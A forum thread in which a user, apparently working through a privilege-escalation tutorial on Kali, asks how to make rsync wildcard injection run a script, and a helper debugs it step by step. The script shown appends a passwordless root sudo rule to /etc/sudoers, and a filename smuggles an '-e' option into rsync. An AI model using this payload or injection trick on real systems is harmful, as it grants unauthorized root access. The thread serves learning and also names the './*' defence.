How to use rsync to invoke a shell?

Hi guys,

According to this article
Link: https://materials.rangeforce.com/tutorial/2019/11/08/Linux-PrivEsc-Wildcard/

At the section " Dangerous program: rsync"

I did as the following

  • Create a file shell.sh
  • Create a file name -e sh shell.sh

As far as I understand, the wildcard * character will be replaced with all other characters present in the current directory
→ When I type

rsync * -zh /tmp/

It should become

rsync -e sh shell.sh -zh /tmp/

In the tmp directory, I see all the files in the current directory was moved into here

But, in the visudo file, I see no change
→a part of command -e sh shell.sh does not work

So how to make rsync to revoke a shell to run that script?

Best Regards!

I think you mean "invoke" instead of "revoke", correct?

The problem is that the -e parameter to rsync takes a single command to execute as the command line and the space between sh and shell.sh causes those two to become separate words (they need to be a single string for this to work). You can add quotes around them to make it work, ie:

rsync -e "sh shell.sh" ...

This is untested but I believe it is the cause of what you're seeing. (Btw, you'll get another error from the rsync command as the script won't be communicating correctly with rsync, but that's a separate issue. Working around that is left as an exercise for the reader. :wink:)

The author of that blog post says that absolute pathnames prevent the issue, but it's even simpler to use ./ in front of the wildcard, as in ./* instead of *. (Be careful about blog posts. Frequently, they are incomplete or, at worst, just plain wrong. Always look for alternative sources of information for corroboration.)

1 Like

Hi Azhrei,

Yes I was wrong, I meant "invoke". But I did try your way in manual way, it does not work

┌──(root💀kali)-[/home/test]
└─# ls                                                                                                                     1 ⚙
'-e "sh shell.sh"'   file1   file2   shell.sh
                                                                                                                               
┌──(root💀kali)-[/home/test]
└─# cat shell.sh                                                                                                           1 ⚙
echo "test ALL=(root) NOPASSWD: ALL" >> /etc/sudoers
                                                                                                                               
┌──(root💀kali)-[/home/test]
└─# rsync -e "sh shell.sh" /tmp                                                                                            1 ⚙
drwxrwxrwt          4,096 2021/12/11 14:59:01 tmp

┌──(root💀kali)-[/home/test]
└─# cat /etc/sudoers                                                                                                       1 ⚙
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root   ALL=(ALL:ALL) ALL

# Allow members of group sudo to execute any command
%sudo  ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "@include" directives:

@includedir /etc/sudoers.d

→ cannot invoke the shell sh as well as file /etc/sudoers has no new added line

That’s because the quotes are interpreted early in the command line processing sequence. You’ll need to add eval at the beginning of the command line.

(In general, the rules around here are to show exactly what you tried by copy/pasting the command line and it’s output into your response. Oftentimes, an English description isn’t good enough to isolate the exact issue.)

In general, your best bet for something like this is to get the command working when typed literally at the command prompt. Then figure out how to convert it into something that will work using the wildcard features of the shell.

I’ll let you work on this a little while longer and then provide one more piece of information… :grin:

So... Have you looked into this any more? Maybe you tried running your rsync command with -v (probably will need two or three of them to see what's really going on)... I would suggest something like this (you were missing a source filename in your example, above):

ls -l > somefile       # used to create some data
rsync -vvv -e "sh shell.sh" somefile /tmp

After you look through the output from -vvv, can you see anything strange? Anything missing?

Hi,

With my basic knowledge, I don't see anything to be weird @@!

┌──(root💀kali)-[/home/kali/Desktop]
└─# rsync -vvv -e "sh shell.sh" file1 /tmp         
[sender] make_file(file1,*,0)
send_file_list done
send_files starting
server_recv(2) starting pid=4142
recv_file_name(file1)
received 1 names
recv_file_list done
get_local_name count=1 /tmp
generator starting pid=4142
delta-transmission disabled for local transfer or --whole-file
recv_generator(file1,0)
send_files(0, file1)
send_files mapped file1 of size 0
calling match_sums file1
file1
sending file_sum
false_alarms=0 hash_hits=0 matches=0
sender finished file1
generate_files phase=1
recv_files(1) starting
send_files phase=1
recv_files(file1)
got file_sum
renaming .file1.EHOPBr to file1
recv_files phase=1
generate_files phase=2
send_files phase=2
send files finished
total: matches=0  hash_hits=0  false_alarms=0 data=0
recv_files phase=2
recv_files finished
generate_files phase=3
generate_files finished

sent 79 bytes  received 481 bytes  1,120.00 bytes/sec
total size is 0  speedup is 0.00
[sender] _exit_cleanup(code=0, file=main.c, line=1333): about to call exit(0)


Ah, okay.

Notice how there's no network attempts, no network traffic at all? In fact, the phrase "local transfer" shows up. There's no attempt to "contact the other system" so your -e option is being ignored! Bummer, huh?

But change it to this:

rsync -e "sh shell.sh" file1 localhost:/tmp

And you'll get the execution you desire. (As I pointed out in my first post, you'll get an error from the local rsync client because the server isn't talking the right protocol — it's just a shell script, after all! Oh, and you'll need the script in your home directory or "sh shell.sh" won't be able to find it.)

Figuring out how to get your script to forward the request to the proper backend so the local client doesn't error out is left as an exercise for the reader. :wink: (But I'll be here to help.)

Oh, and another hint: embedding quotes inside a filename and then using a wildcard will never work, as I mentioned previously — you can't be adding eval at the beginning of the command line to make it work because the typical user won't be doing that. But you can change it to a single word (ie, no spaces) so that the quotes aren't needed... (How do you change a script so that it can be executed directly, without needing sh?)

Have fun. I'll continue to monitor this thread if you have new questions related to this...

2 Likes

Hi Azhrei,

You are my savior :smiley:

Best Regards!

This topic was automatically closed 60 days after the last reply. New replies are no longer allowed.